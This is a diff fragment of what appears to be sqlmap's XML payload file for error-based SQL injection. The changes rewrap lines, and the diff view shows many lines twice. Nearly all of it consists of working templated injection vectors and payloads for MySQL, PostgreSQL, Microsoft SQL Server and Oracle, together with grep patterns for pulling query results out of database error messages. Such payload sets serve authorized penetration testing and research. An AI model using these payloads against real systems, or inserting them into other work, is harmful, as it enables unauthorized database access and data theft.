COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
</vector>
<request> <request>
<!-- These work as good as ELT(), but are longer <!-- These work as good as ELT(), but are longer
<payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload> <payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
<payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload> <payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
--> -->
<payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload> <payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS
GROUP BY x)a)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -234,7 +271,9 @@
<payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload> <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
<payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload> <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
--> -->
<payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload> <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -259,7 +298,9 @@
<payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload> <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
<payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload> <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
--> -->
<payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload> <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -277,13 +318,16 @@
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,8,9</clause> <clause>1,2,3,8,9</clause>
<where>1</where> <where>1</where>
<vector>AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])</vector> <vector>AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])
</vector>
<request> <request>
<!-- These work as good as ELT(), but are longer <!-- These work as good as ELT(), but are longer
<payload>AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1])</payload> <payload>AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1])</payload>
<payload>AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])</payload> <payload>AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])</payload>
--> -->
<payload>AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])</payload> <payload>AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -308,7 +352,9 @@
<payload>OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1])</payload> <payload>OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1])</payload>
<payload>OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])</payload> <payload>OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])</payload>
--> -->
<payload>OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])</payload> <payload>OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -326,13 +372,19 @@
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,8,9</clause> <clause>1,2,3,8,9</clause>
<where>1</where> <where>1</where>
<vector>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</vector> <vector>AND ROW([RANDNUM],[RANDNUM1])>(SELECT
COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2]
UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)
</vector>
<request> <request>
<!-- These work as good as ELT(), but are longer <!-- These work as good as ELT(), but are longer
<payload>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload> <payload>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload>
<payload>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload> <payload>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload>
--> -->
<payload>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload> <payload>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT
[RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -351,13 +403,19 @@
<risk>3</risk> <risk>3</risk>
<clause>1,8,9</clause> <clause>1,8,9</clause>
<where>1</where> <where>1</where>
<vector>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</vector> <vector>OR ROW([RANDNUM],[RANDNUM1])>(SELECT
COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2]
UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)
</vector>
<request> <request>
<!-- These work as good as ELT(), but are longer <!-- These work as good as ELT(), but are longer
<payload>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload> <payload>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload>
<payload>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload> <payload>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload>
--> -->
<payload>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload> <payload>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT
[RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -376,9 +434,12 @@
<risk>3</risk> <risk>3</risk>
<clause>1,8,9</clause> <clause>1,8,9</clause>
<where>2</where> <where>2</where>
<vector>OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)</vector> <vector>OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)
</vector>
<request> <request>
<payload>OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)</payload> <payload>OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0
END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)
</payload>
<comment>#</comment> <comment>#</comment>
</request> </request>
<response> <response>
@ -398,7 +459,9 @@
<where>1</where> <where>1</where>
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)</vector> <vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)</vector>
<request> <request>
<payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)</payload> <payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0
END))::text||'[DELIMITER_STOP]' AS NUMERIC)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -417,7 +480,9 @@
<where>2</where> <where>2</where>
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)</vector> <vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)</vector>
<request> <request>
<payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)</payload> <payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0
END))::text||'[DELIMITER_STOP]' AS NUMERIC)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -436,7 +501,9 @@
<where>1</where> <where>1</where>
<vector>AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector> <vector>AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
<request> <request>
<payload>AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload> <payload>AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1'
ELSE '0' END))+'[DELIMITER_STOP]'))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -456,7 +523,9 @@
<where>2</where> <where>2</where>
<vector>OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector> <vector>OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
<request> <request>
<payload>OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload> <payload>OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE
'0' END))+'[DELIMITER_STOP]'))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -476,7 +545,9 @@
<where>1</where> <where>1</where>
<vector>AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector> <vector>AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
<request> <request>
<payload>AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload> <payload>AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN
'1' ELSE '0' END))+'[DELIMITER_STOP]'))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -496,7 +567,9 @@
<where>2</where> <where>2</where>
<vector>OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector> <vector>OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
<request> <request>
<payload>OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload> <payload>OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN
'1' ELSE '0' END))+'[DELIMITER_STOP]'))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -516,7 +589,9 @@
<where>1</where> <where>1</where>
<vector>AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector> <vector>AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>AND [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')</payload> <payload>AND [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0'
END)),'[DELIMITER_STOP]')
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -536,7 +611,9 @@
<where>2</where> <where>2</where>
<vector>OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector> <vector>OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>OR [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')</payload> <payload>OR [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0'
END)),'[DELIMITER_STOP]')
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -554,9 +631,15 @@
<risk>1</risk> <risk>1</risk>
<clause>1,9</clause> <clause>1,9</clause>
<where>1</where> <where>1</where>
<vector>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector> <vector>AND [RANDNUM]=(SELECT
UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),'
','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62)))
FROM DUAL)
</vector>
<request> <request>
<payload>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload> <payload>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN
([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -573,9 +656,14 @@
<risk>3</risk> <risk>3</risk>
<clause>1,9</clause> <clause>1,9</clause>
<where>2</where> <where>2</where>
<vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector> <vector>OR [RANDNUM]=(SELECT
UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),'
','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
</vector>
<request> <request>
<payload>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload> <payload>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN
([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -594,7 +682,9 @@
<where>1</where> <where>1</where>
<vector>AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')</payload> <payload>AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN
([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -614,7 +704,9 @@
<where>2</where> <where>2</where>
<vector>OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')</payload> <payload>OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN
